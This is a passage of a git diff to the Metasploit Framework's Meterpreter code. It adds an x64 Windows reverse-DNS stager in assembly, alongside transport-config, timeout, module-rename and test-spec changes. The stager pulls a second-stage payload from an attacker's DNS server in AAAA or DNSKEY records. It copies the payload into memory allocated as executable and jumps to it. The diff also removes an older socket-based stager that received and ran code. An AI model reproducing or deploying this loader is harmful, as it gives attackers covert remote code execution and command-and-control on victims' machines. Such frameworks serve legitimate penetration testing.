bl, 0x3a + jnz increment_done + mov bl, 0x30 + inc ah + cmp ah, 0x3a + jnz increment_done + mov ah, 0x30 + inc al + + increment_done: + shl ebx, 16 + or eax, ebx + mov r12, [rbp + 8] + add r12, [rbp] + mov dword ptr[r12], eax + pop rbp + ret 0x10 + + ;;;;;;;;;;; CALL DNS + call_dns: + push rbp + mov r15, rbp + mov rbp, rsp + add rbp, 0x10 + push 20 + push -1 + + dns_loop: + mov rax, [rsp + 8] + test rax, rax + je dns_loop_end ; out of tries 8( + mov rax, [rsp] + test rax, rax + je dns_loop_end ; done, got result + push 0 + mov rax, [rbp + 0x8] ; result + push rax + mov r9, [rbp + 0x10] ; NS IP + mov r8d, #{dns_options} + mov dx, #{request_type} + mov rcx, [rbp] ; domain + mov r10, #{Rex::Text.block_api_hash('Dnsapi.dll', 'DnsQuery_A')} + call r15 + add rsp, 0x30 + mov [rsp], rax + mov rax, [rsp + 8] + dec rax + mov [rsp + 8], rax + jmp dns_loop + dns_loop_end: + pop rax + pop rbp + pop rbp + ret + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + start_code: + ;;;;;;;;; INIT VARS in stack + + sub rsp, #{alloc_stack} + mov rcx, #{domain_length} + mov rdi, rsp + mov rsi, rax + add rsi, 6 + rep movsb ; copy domain to the stack + xor rax, rax + push rax ; pointer to RWX memory (for stage1) + push rax ; size of stage1 + push rax ; offset + push rax ; * pointer to DNS_RECORD(as result) + push rax + push rax ; * IP4_ARRAY[1] + push #{retry_count} ; * tries counter + + ;;;;;;;;; main proc + + mov rbx, #{ns_server} ; NS IP + mov rax, rsp + add rax, 16 + test rbx, rbx + je no_ns_server + + ; IP4_ARRAY + mov [rax], 1; + mov [rax + 4], ebx + + no_ns_server: + push rax ; NS IP4_ARRAY pointer + add rax, 0x08 + push rax ; DNS_RECORD pointer + add rax, 0x20 + push rax ; DOMAIN pointer + + get_header: + dec [rsp + 0x18] ; load tries number + mov rax, [rsp + 0x18] ; decrement + test rax, rax + je exit_func + mov rax, rsp + add rax, 0x50 + push rax + push 10 + call increment + call call_dns + test eax, eax + jne parse_end_br + mov rax, [rsp + 0x30] + push rax + mov rsi, rsp ; pointer to DNS_RECORD + mov [rsi], rax ; ESI < -pointer to DNS_RECORD + mov rbx, [rsi] ; EBX < -current pointer + mov rdx, [rbx] + mov [rsi], rdx ; save Next IP + mov rdx, rbx + ^ + + if req_type == "IPv6" # IPv6 + + asm << %Q^ + add rdx, 0x20 ; EDX < -IP pointer + movzx ecx, byte ptr[rdx + 1] ; header byte 1 + cmp cl, 0x81 ; If this is header flag + jne parse_end_b + movzx ecx, byte ptr[rdx] + cmp cl, 0xfe ; check if fe have data flag in this header + jne parse_end_b + + get_size: + movzx eax, byte ptr[rdx + 0x0a] + test eax, eax + je parse_end_b + cmp eax, 1 + jne parse_end_b + pop rax + mov eax, [rdx + 0xb] ; SIZE of stage 1 + mov [rsp + 0x40], rax + jmp parse_end + ^ + else # DNSKKEY asm << %Q^ - ; reliability: check to see if the recv worked, and reconnect - ; if it fails - cmp eax, 0 - jle cleanup_socket + + add rdx,0x28 + movzx ecx,byte ptr ds:[rdx] ; check status + test ecx,ecx ; If this is header flag + jne parse_end_b + + get_size: + pop rax + mov eax, dword ptr ds:[rdx + 0x7] ; get size + mov [rsp + 0x40], eax + jmp parse_end + ^ + end - + asm << %Q^ - ; Alloc a RWX buffer for the second stage - mov esi, [esi] ; dereference the pointer to the second stage length - push 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push esi ; push the newly recieved second stage length. - push 0 ; NULL as we dont care where the allocation is. - push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - ; Receive the second stage and execute it... - xchg ebx, eax ; ebx = our new memory address for the new stage - push ebx ; push the address of the new stage so we can return into it - - read_more: - push 0 ; flags - push esi ; length - push ebx ; the current address into our second stage's RWX buffer - push edi ; the saved socket - push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} - call ebp ; recv( s, buffer, length, 0 ); - ^ - - if reliable - asm << %Q^ - ; reliability: check to see if the recv worked, and reconnect - ; if it fails - cmp eax, 0 - jge read_successful - - ; something failed, free up memory - pop eax ; get the address of the payload - push 0x4000 ; dwFreeType (MEM_DECOMMIT) - push 0 ; dwSize - push eax ; lpAddress - push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} - call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) - - cleanup_socket: - ; clear up the socket - push edi ; socket handle - push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} - call ebp ; closesocket(socket) - - ; restore the stack back to the connection retry count - pop esi - pop esi - dec [esp] ; decrement the counter - - ; try again - jmp create_socket + parse_end_br: + xor rax, rax + jmp parse_end + parse_end_b: + pop rax + xor rax, rax + parse_end: + test rax, rax + je get_header + + + mov rax, rsp + mov byte ptr[rax + 0x58], '0' ; switch to data mode + + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RESET COUNTER + mov qword ptr[rsp + 0x18], 50 + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GET MEM + mov rsi, [rsp + 0x40] ; get size, that we just recieved + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, + add rsp, 0x20 + mov [rsp + 0x48], rax ; save pointer to RWX mem + jmp get_data + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + + ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GETTING DATA LOOP + get_data_next_try: + dec [rsp + 0x18] ; retry_counter decrement + mov rax, [rsp + 0x18] + test eax, eax ; if retry_counter is 0, we done... sorry ggwp + je exit_func + + get_data: + call call_dns + test eax, eax + jne parse_end_db2 + + mov rax, [rsp + 0x30] + push rax + mov rax, [rsp + 0x40] + push rax + ^ + + if req_type == "IPv6" #IPv6 + asm << %Q^ + + ip_enum: + mov rax, [rsp+8] + test rax, rax + je copy_end + mov rbx, [rax] ; RBX <-current pointer + mov [rsp + 8], rbx ; save Next IP + mov rdx, rax + add rdx, 0x20 ; RDX <-IP pointer + xor rax, rax + + movzx ecx, byte ptr[rdx + 1] ; header byte 1, size for IP + mov al, cl + and cl, 0x0f ; apply MASK to get size of data in that IP + cmp cl, 0x0e ; amount of bytes in that IP, should be 14 or less + ja parse_end_db + + movzx ebx, byte ptr[rdx] + cmp bl, 0xfe ; if FE, than index offset is 16 + je index_16 + cmp bl, 0xff ; if FF, than index offset in AL reg + je index_al + jmp parse_end_db ; else - something wrong! + + index_16: + mov al, 16 + imul rax, 0x0e + jmp copy_ip_as_data + + index_al: + shr al, 4 + imul rax, 0x0e + + copy_ip_as_data: + mov rsi, rdx ; src - IP addr + add rsi, 2 + mov rbx, [rsp] + mov rdi, [rsp + 0x58] + add rdi, rbx ; dst - RWX mem + add rdi, rax + add [rsp+0x48], rcx + mov rax, rcx + cld + rep movsb ; copy + sub [rsp + 0x50], rax + jmp ip_enum ^ + else #DNSKEY + asm << %Q^ + mov rax, [rsp + 8] ; RAX <-current pointer + test rax, rax + je copy_end + mov ecx, dword ptr ds:[rax + 0x24] ; RCX <- current size + test ecx, ecx + je parse_end_db + sub rcx, 3 + add [rsp + 0x48], rcx + sub [rsp + 0x50], rcx + mov rsi, rax + add rsi, 0x2B ; RSI <- source + mov rbx, [rsp] + mov rdi, [rsp + 0x58] + add rdi, rbx ; dst - RWX mem + cld + rep movsb ; copy + ^ end - - asm << %Q^ - read_successful: - add ebx, eax ; buffer += bytes_received - sub esi, eax ; length -= bytes_received, will set flags - jnz read_more ; continue if we have more to read - ret ; return into the second stage + + asm << %Q^ + copy_end: + add rsp, 0x10 + mov rax, [rsp + 0x40] + test rax, rax + je got_everything + + mov rax, rsp + add rax, 0x50 + push rax + push 5 + call increment + jmp get_data + + parse_end_db: + add rsp, 0x10 + parse_end_db2: + mov rax, rsp + add rax, 0x50 + push rax + push 10 + call increment + jmp get_data_next_try + + got_everything: + ;;;;;;;;;;;;;;;;;;;;;;;;; + mov rax, [rsp + 0x48] + add rax, 4 + jmp rax + ;;;;;;;;;;;;;;;;;;;;;;;;; + + exit_func: ^ - + if opts[:exitfunk] asm << asm_exitfunk(opts) end asm end + + + def asm_functions_dns() + + asm = %Q^ + nop + ^ + + asm + end + + def stage_over_connection? + false + end end diff --git a/lib/msf/core/thread_manager.rb b/lib/msf/core/thread_manager.rb index abf2aa5c48b5f..c902c8314b732 100644 --- a/lib/msf/core/thread_manager.rb +++ b/lib/msf/core/thread_manager.rb @@ -89,6 +89,15 @@ def spawn_monitor def spawn(name, crit, *args, &block) t = nil + #WorkAround for migration issues. Problem in spawn function where MeterpreterReciever thread not spawned for unknow reason + # adding a delay will reduce chances of that bug + if name == "MeterpreterReceiver" + + ::IO.select(nil, nil, nil, 1) + + end + ############################## + if block t = ::Thread.new(name, crit, caller, block, *args) do |*argv| ::Thread.current[:tm_name] = argv.shift.to_s diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 9d588552f4a98..f68f5d07f2227 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -80,7 +80,21 @@ def transport_block(opts) end if lhost && opts[:scheme].start_with?('dns') - url = "#{opts[:scheme]}://#{lhost}" + ns_server = opts[:nhost] + server_id = opts[:server_id] + client_id = '0' + + case opts[:req_type] + when 'IPv6' + req_type = 28 + when 'DNSKEY' + req_type = 48 + else + req_type = 48 + end + + url = "#{opts[:scheme]}://#{lhost.to_s}?ns=#{ns_server.to_s}&sid=#{server_id.to_s}&req=#{req_type.to_s}&cli=#{client_id.to_s}&" + else url = "#{opts[:scheme]}://#{lhost}" url << ":#{opts[:lport]}" if opts[:lport] @@ -88,7 +102,7 @@ def transport_block(opts) url << "?#{opts[:scope_id]}" if opts[:scope_id] end - # if the transport URI is for a HTTP payload we need to add a stack + # if the transport URI is for a HTTP or DNS payload we need to add a stack # of other stuff pack = 'A*VVV' transport_data = [ @@ -122,14 +136,6 @@ def transport_block(opts) # update the packing spec pack << 'A*A*A*A*A*' - elsif url.start_with?('dns') - ns_server = to_str(opts[:nhost] || '', NS_NAME_SIZE) - server_id = to_str(opts[:server_id] || 'pipiska', 256) - client_id = to_str('',2) - transport_data << ns_server - transport_data << client_id - transport_data << server_id - pack << 'A*A*A*' end # return the packed transport information diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index f505ee6d8875a..cf3810cf8670f 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -146,8 +146,13 @@ def init_meterpreter(sock,opts={}) end self.response_timeout = opts[:timeout] || self.class.default_timeout - self.send_keepalives = true - + + if opts[:send_keepalives] == false + self.send_keepalives = false + else + self.send_keepalives = true + end + # TODO: Clarify why we don't allow unicode to be set in initial options # self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true self.encode_unicode = false @@ -285,7 +290,7 @@ def generate_ssl_context # waiting for a response. # def Client.default_timeout - return 1200 + return 300 end ## diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 262fdd26594fa..6b29fb300da8c 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -49,7 +49,7 @@ class ClientCore < Extension VALID_TRANSPORTS = { 'reverse_tcp' => METERPRETER_TRANSPORT_SSL, - 'reverse_dns' => METERPRETER_TRANSPORT_DNS, + 'reverse_dns' => METERPRETER_TRANSPORT_DNS, 'reverse_http' => METERPRETER_TRANSPORT_HTTP, 'reverse_https' => METERPRETER_TRANSPORT_HTTPS, 'bind_tcp' => METERPRETER_TRANSPORT_SSL @@ -160,11 +160,7 @@ def transport_list :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA), :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), - :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), - :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH), - :nhost => t.get_tlv_value(TLV_TYPE_TRANS_NSHOST), - :client_id => t.get_tlv_value(TLV_TYPE_TRANS_CLIENT_ID), - :server_id => t.get_tlv_value(TLV_TYPE_TRANS_SERVER_ID) + :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS) } } @@ -594,13 +590,11 @@ def migrate(target_pid, writable_dir = nil, opts = {}) end # Rex::Post::FileStat#writable? isn't available end - puts("migrate_stub ... ") + migrate_stub = generate_migrate_stub(target_process) - puts("migrate_payload") migrate_payload = generate_migrate_payload(target_process) # Build the migration request - puts("req: core_migrate") request = Packet.create_request('core_migrate') if client.platform == 'linux' @@ -632,9 +626,7 @@ def migrate(target_pid, writable_dir = nil, opts = {}) if target_process['arch'] == ARCH_X64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 - else - puts("7") request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86 end @@ -646,7 +638,7 @@ def migrate(target_pid, writable_dir = nil, opts = {}) # Send the migration request. Timeout can be specified by the caller, or set to a min # of 60 seconds. - timeout = 20*60 #[(opts[:timeout] || 0), 60].max - TODO: uncomment once DNS is stable + timeout = [(opts[:timeout] || 0), 60].max response = client.send_request(request, timeout) # Post-migration the session doesn't have encryption any more. diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 2790f00294b3c..e1d175cd60862 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -103,9 +103,6 @@ module Meterpreter TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441 -TLV_TYPE_TRANS_NSHOST = TLV_META_TYPE_STRING | 470 -TLV_TYPE_TRANS_CLIENT_ID = TLV_META_TYPE_STRING | 471 -TLV_TYPE_TRANS_SERVER_ID = TLV_META_TYPE_STRING | 472 TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_dns.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_dns.rb index 11e548e40abba..8aa5469422570 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_dns.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_dns.rb @@ -57,7 +57,7 @@ def generate_config(opts={}) transports: [transport_config_reverse_dns(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), ext_init: (datastore['EXTINIT'] || ''), - stageless: true + stageless: true } # create the configuration instance based off the parameters diff --git a/modules/payloads/stagers/windows/reverse_windns.rb b/modules/payloads/stagers/windows/reverse_dns.rb similarity index 100% rename from modules/payloads/stagers/windows/reverse_windns.rb rename to modules/payloads/stagers/windows/reverse_dns.rb diff --git a/modules/payloads/stagers/windows/x64/reverse_windns.rb b/modules/payloads/stagers/windows/x64/reverse_dns.rb similarity index 88% rename from modules/payloads/stagers/windows/x64/reverse_windns.rb rename to modules/payloads/stagers/windows/x64/reverse_dns.rb index 9861dac42941c..2f644fbcc458e 100644 --- a/modules/payloads/stagers/windows/x64/reverse_windns.rb +++ b/modules/payloads/stagers/windows/x64/reverse_dns.rb @@ -8,7 +8,7 @@ module MetasploitModule - CachedSize = 339 + CachedSize = 684 include Msf::Payload::Stager include Msf::Payload::Windows @@ -18,12 +18,12 @@ def initialize(info = {}) super(merge_info(info, 'Name' => 'Windows Reverse DNS Stager', 'Description' => 'Tunnel communication over reverse DNS', - 'Author' => 'hdm', + 'Author' => 'Alexey Sintsov', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X64, 'Handler' => Msf::Handler::ReverseDns, 'Stager' => { 'RequiresMidstager' => false }, - 'Convention' => 'sockedi dns')) + 'Convention' => 'sockrdi dns')) end end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 66f2adc3f1216..0a1b2e0bf1771 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2839,6 +2839,17 @@ modules_pathname: modules_pathname, reference_name: 'windows/meterpreter/bind_tcp' end + + context 'windows/meterpreter/reverse_dns' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_dns', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_dns' + end context 'windows/meterpreter/bind_tcp_rc4' do it_should_behave_like 'payload cached size is consistent', @@ -3864,6 +3875,17 @@ modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter/bind_tcp' end + + context 'windows/x64/meterpreter/reverse_dns' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_dns', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_dns' + end context 'windows/x64/meterpreter/bind_tcp_uuid' do it_should_behave_like 'payload cached size is consistent', @@ -3992,6 +4014,16 @@ reference_name: 'windows/x64/meterpreter_reverse_tcp' end + context 'windows/x64/meterpreter_reverse_dns' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/windows/x64/meterpreter_reverse_dns' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter_reverse_dns' + end + context 'windows/x64/powershell_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [